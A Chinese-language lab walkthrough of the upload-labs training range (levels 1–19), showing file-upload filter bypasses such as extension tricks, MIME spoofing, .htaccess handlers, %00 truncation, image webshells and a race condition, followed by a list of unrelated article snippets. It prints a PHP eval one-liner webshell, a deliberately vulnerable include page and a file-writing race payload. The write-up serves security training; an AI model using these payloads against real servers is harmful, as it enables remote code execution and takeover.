upload-labs靶场(1-19关)
upload-labs靶场
简介
upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共19关,每一关都包含着不同上传方式。
注意:能运行<?php phpinfo();?>
就能运行<?php eval($_POST['cmd'])?>一句话木马
为了方便只有第一关用了一句话木马。
Pass-01
思路:第一关限制了长传文件的类型,所以在抓包的时候将图片扩展名改成php扩展名即可

步骤一:写一个1.jpg在里面写php代码

步骤二:BP抓包

步骤三:修改filename改成php扩展名

步骤四:查看网站下上传的文件,文件里写的echo "1"所以显示1

我们如果写一句话木马即可控制他的电脑
<?php @eval($_POST['cmd']);?>
使用工具–蚂蚁,中国菜刀
点击添加

双击

连接成功

Ps:其他关就不用一句话木马了。
Pass-02
思路:查看提示看到是在服务端对数据的MIME进行检查,MIME验证就是验证文件的类型。代码种文件类型只能让jpeg,png,gif传入,所以我们的思路就是用burp抓包然后修改文件的类型。

步骤一:抓包修改内容类型位图片类型

步骤三:访问web下上传的文件

Pass-03
思路:第三关禁用.php,这时候我们就要想办法绕过,说黑名单规则不严谨.
也可以写.php3.php5绕过,但某些环境不支持打开php3文件。


注:有一些使用phpstudy搭建的upload-labs可能无法加载出这个页面,这是因为phpstudy的配置文件需要修改,打开phpstudy的httpd-conf配置文件,修改 #AddType application/x-httpd-php .php .phtml 为 AddType application/x-httpd-php .php .phtml .php5 .php3,注意前面的#要删除,这时即可正常访问图片地址。
Pass-04
思路:这题将.php,.php3…这些都禁用了,双写也绕不过去。我们可以上传.htaccess文件,将jpg文件当作php文件执行。
ps:某些环境不支持,在这里我们找的在线靶场.

phpinfo.jpg
<?php phpinfo(); ?>
1.htaccess
<FilesMatch 'phpinfo.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>

Pass-05
思路:这关没有转换大小写的代码。

上传一个5.Php文件,直接上传成功

Pass-06
思路:缺少首尾去空限制,但windows文件名最后不能加空格,可以BP抓包修改



Pass-07
思路:本体没有删除文件末尾的点限制,所以在文件后加个点绕过

BP抓包


Pass-08
思路:缺少去除字符串::$DATA

BP抓包

去除URL中的::$DATA


Pass-09
思路:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。
所以我们应该修改文件名为:9.php. .,两个点中间有个空格

BP抓包


Pass-10
思路:本题通过截取文件扩展名,如果截取的扩展名与数组中一样则被拦截。可以通过双写php绕过,写成10.pphphp


Pass-11
思路:本题只允许上传.jpg,.png,.gif,本题考查GET方式%00截断
在处理数据时,当处理到00,就当作处理完成
PHP版本小于5.3
因为实在找不到PHP版本符合的环境,在ctfhub%00截断题目中开了个环境





Pass-12
$_POST['save_path']以POST形式传参时,直接使用%00无法截断,因为POST的数据不会被直接解码,空格会替换成+号,需要手动使用burp中的URL-decode解码。
PHP版本小于5.3


Pass-13
制作一个图片马。
在Windows系统中制作图片马的方法:
(1)随机获得一张图片,这里以如下图片(图片名为cat1.jpg)为例:

(2)新建一个文本(文本名为cat2.txt),内容为:
<?php phpinfo();?>
注意:cat1.jpg和cat2.txt要在同一个文件目录下。
3)win+r,输入cmd,进入终端,输入如下代码:
cd C:\Users\1\Desktop
copy cat1.jpg/b+cat2.txt/a cat3.jpg

然后需要一个文件包含漏洞

将include.php放到upload文件夹
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;
}else{show_source(__file__);
}
?>
上传做好的图片码,然后在本页面以GET方式提交file=上传至服务端的图片马路径

Pass-14
与Pass-13一样
Pass-15
本pass使用exif_imagetype()检查是否为图片文件!
此Pass需要打开php的exif扩展,否则无法正常交互,关于详细内容,请阅读:PHP exif扩展方法开启详解。

其余步骤与Pass-13相同

Pass-16
本pass重新渲染了图片!
需要有一个二次渲染的图片
如下就是一张:

图片上传

Pass-17(条件竞争)
提示:需要代码审计!

步骤一:新建一句话木马17.php,代码为:
<?php fputs(fopen('../upload/phpinfo17.php','w'),'<?php phpinfo();?>');?>
只要被成功当作PHP文件解析,就会生成phpinfo17.php 文件
抓包

发送到攻击模块
bp设置无限发送空的Payloads,来让它一直上传该文件


Pass-18
这道题有些问题导致上传的文件传入不进去
在…/upload-labs-env\WWW\Pass-18\myupload.php中修改代码


然后上传一个图片码跟Pass-13一样

Pass-19
空格绕过、点绕过,大小写绕过等等均可。


相关文章:
upload-labs靶场(1-19关)
upload-labs靶场 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共19关,每一关都包含着不同上传方式。 注意:能运行<?php phpinfo();?&…...
Python面向对象浅析
目录 面向对象基本概念 一、类和对象 类和对象是面向对象骗程的两个核心概念。 在程序开发中,要设计一个类,通常需要满足一下三个要素: self详解: 对象(Object) 魔法方法: 类里的一些特殊方法 __in…...
JS基本语法
JS代码写在body结束标签的上面 如点击按钮调用方法: 在浏览器的控制台打印测试数据 console.log() <body><button type"button" onclick"easymethod()">点击我</button><script>//JS代码,写在body标签的…...
LSTM详解总结
LSTM(Long Short-Term Memory)是一种用于处理和预测时间序列数据的递归神经网络(RNN)的改进版本。其设计初衷是为了解决普通RNN在长序列训练中出现的梯度消失和梯度爆炸问题。以下是对LSTM的详细解释,包括原理、公式、…...
制品库nexus
详见:Sonatype Nexus Repository搭建与使用(详细教程3.70.1)-CSDN博客 注意事项: 1.java8环境使用nexus-3.69.0-02-java8-unix.tar.gz包 2.java11环境使用nexus-3.70.1-02-java11-unix.tar.gz包 3.注意使用制品库/etc/yum.repos.…...
2022.11.17 阿里钉钉数据开发岗位一面
今天晚上和阿里钉钉面试官聊了一面,整个过程持续45分钟,还是相当持久的。前面先让我自我介绍,包括自身背景、工作经历和项目经验,在介绍的时候面试官几次打断,让我停下来,然后他提问,我很纳闷还…...
【无标题】Git(仓库,分支,分支冲突)
Git 一种分布式版本控制系统,用于跟踪和管理代码的变更 一.Git的主要功能: 二.准备git机器 修改静态ip,主机名 三.git仓库的建立: 1.安装git [rootgit ~]# yum -y install git 2.创建一个…...
访问控制列表(ACL)
文章目录 ACL原理与基本配置ACL分类ACL组成ACL规则的匹配与应用 ACL原理与基本配置 ACL(Access Control List,访问控制列表) 读取二层、三层、四层报文信息根据预先定义好的规则对报文进行过滤和分类实现网络访问控制、防止网络攻击和提高网络带宽利用率等目的提高…...
自用git命令(待完善)
----------------------------------------------------------------------------------------- ###基础 git config --global user.name "xxxxx" #设置提交人 name git config --global user.email "xxxxxx163.com" #设置提交人 email git …...
突破•指针四
听说这是目录哦 函数指针数组🫧用途:转移表 回调函数🫧能量站😚 函数指针数组🫧 函数指针数组是存放函数地址的数组,例如int (*parr[5])()中parr先和[]结合,说明parr是可以存放5个函数地址【元…...
深入解析Python `requests`库源码,揭开HTTP请求的神秘面纱!
🔸 第一部分:requests库的入口 我们从requests库的入口开始,通常我们会使用 requests.get() 或 requests.post() 等方法发送HTTP请求。那么,这些方法背后究竟做了些什么呢?我们从requests.get()方法开始看起ÿ…...
day1 服务端与消息编码
文章目录 消息的序列化与反序列化通信过程服务端的实现main 函数(一个简易的客户端) 本文代码地址: 本文是7天用Go从零实现RPC框架GeeRPC的第一篇。 使用 encoding/gob 实现消息的编解码(序列化与反序列化)实现一个简易的服务端,仅接受消息,…...
部署WMS仓储管理系统项目后的注意事项
在探讨现代WMS仓储管理系统的部署与运营时,我们不得不深入剖析其背后的多维度考量与策略,以确保这一核心系统能够无缝融入并推动企业的整体供应链优化。WMS仓储管理系统作为连接仓库内部操作与外部供应链的桥梁,其重要性不言而喻,…...
跨网段 IP 地址通信故障分析
现如今计算机网络的规模和复杂性不断增加,跨网段通信成为网络运行中的常见需求。但如果设备处于不同网段且路由设置出现偏差时就会导致通信故障,严重影响网络的正常运行和数据传输。 1.跨网段通信的基本原理 跨网段通信依赖于路由器的路由功能。路由器根…...
存储引擎MySQL和InnoDB(数据库管理与高可用)
1、存储引擎 存储引擎是核心组成部分, 是构成数据库最基础最底层的部件, 利用这个部件,你的Mysql能够对数据进行查询、创建、更新、删除等操作, 也就是说,用户所输入的一系列的mysql语句,是由存储引擎来…...
探索局域网传输新境界 | 闪电藤 v2.2.7
在这个数字化时代,文件的快速、安全传输是我们日常工作中不可或缺的一部分。今天,电脑天空向大家介绍一款革命性的局域网文件传输工具——闪电藤,它将彻底改变你的文件传输体验。 🎨 界面设计 —— 极简之美 闪电藤采用极简的设…...
Tiling Window Management
我主要说一下windows版的 下面这个链接用的人比较多 GitHub - LGUG2Z/komorebi: A tiling window manager for Windows 🍉 建议搭配 GitHub - da-rth/yasb: A highly configurable cross-platform (Windows) status bar written in Python. GitHub - amnweb/ya…...
9. kubernetes资源——pv/pvc持久卷
kubernetes资源——pv/pvc持久卷 一、volume数据卷1、hostPath2、挂载nfs实现持久化 二、pv/pvc 持久卷/持久卷声明1、pv/pvc介绍2、pv/pvc的使用流程2.1 创建pv2.2 创建pvc2.3 创建pod,使用pv做持久化 一、volume数据卷 用于pod中的数据的持久化存储 支持很多的卷…...
2024西安铁一中集训DAY27 ---- 模拟赛((bfs,dp) + 整体二分 + 线段树合并 + (扫描线 + 线段树))
文章目录 前言时间安排及成绩题解A. 倒水(bfs dp)B. 让他们连通(整体二分 按秩合并并查集 / kruskal重构树)C. 通信网络(线段树合并 二分)D. 3SUM(扫描线 线段树) 前言 T1没做出…...
STM32F401VET6 PROTEUS8 ILI9341 驱动显示及仿真
stm32cubemx新建工程代码,并生成工程 设置gpio 设置SPI 其他的参考stm32默认设置 然后编辑驱动代码 ili9341.h #ifndef ILI9341_H #define ILI9341_H#include <stdbool.h> #include <stdint.h>#include "glcdfont.h" #include "stm32…...
大数据学习栈记——Neo4j的安装与使用
本文介绍图数据库Neofj的安装与使用,操作系统:Ubuntu24.04,Neofj版本:2025.04.0。 Apt安装 Neofj可以进行官网安装:Neo4j Deployment Center - Graph Database & Analytics 我这里安装是添加软件源的方法 最新版…...
stm32G473的flash模式是单bank还是双bank?
今天突然有人stm32G473的flash模式是单bank还是双bank?由于时间太久,我真忘记了。搜搜发现,还真有人和我一样。见下面的链接:https://shequ.stmicroelectronics.cn/forum.php?modviewthread&tid644563 根据STM32G4系列参考手…...
CTF show Web 红包题第六弹
提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框,很难让人不联想到SQL注入,但提示都说了不是SQL注入,所以就不往这方面想了 先查看一下网页源码,发现一段JavaScript代码,有一个关键类ctfs…...
反向工程与模型迁移:打造未来商品详情API的可持续创新体系
在电商行业蓬勃发展的当下,商品详情API作为连接电商平台与开发者、商家及用户的关键纽带,其重要性日益凸显。传统商品详情API主要聚焦于商品基本信息(如名称、价格、库存等)的获取与展示,已难以满足市场对个性化、智能…...
什么是库存周转?如何用进销存系统提高库存周转率?
你可能听说过这样一句话: “利润不是赚出来的,是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业,很多企业看着销售不错,账上却没钱、利润也不见了,一翻库存才发现: 一堆卖不动的旧货…...
如何为服务器生成TLS证书
TLS(Transport Layer Security)证书是确保网络通信安全的重要手段,它通过加密技术保护传输的数据不被窃听和篡改。在服务器上配置TLS证书,可以使用户通过HTTPS协议安全地访问您的网站。本文将详细介绍如何在服务器上生成一个TLS证…...
R语言速释制剂QBD解决方案之三
本文是《Quality by Design for ANDAs: An Example for Immediate-Release Dosage Forms》第一个处方的R语言解决方案。 第一个处方研究评估原料药粒径分布、MCC/Lactose比例、崩解剂用量对制剂CQAs的影响。 第二处方研究用于理解颗粒外加硬脂酸镁和滑石粉对片剂质量和可生产…...
七、数据库的完整性
七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...
[大语言模型]在个人电脑上部署ollama 并进行管理,最后配置AI程序开发助手.
ollama官网: 下载 https://ollama.com/ 安装 查看可以使用的模型 https://ollama.com/search 例如 https://ollama.com/library/deepseek-r1/tags # deepseek-r1:7bollama pull deepseek-r1:7b改token数量为409622 16384 ollama命令说明 ollama serve #:…...
在 Visual Studio Code 中使用驭码 CodeRider 提升开发效率:以冒泡排序为例
目录 前言1 插件安装与配置1.1 安装驭码 CodeRider1.2 初始配置建议 2 示例代码:冒泡排序3 驭码 CodeRider 功能详解3.1 功能概览3.2 代码解释功能3.3 自动注释生成3.4 逻辑修改功能3.5 单元测试自动生成3.6 代码优化建议 4 驭码的实际应用建议5 常见问题与解决建议…...
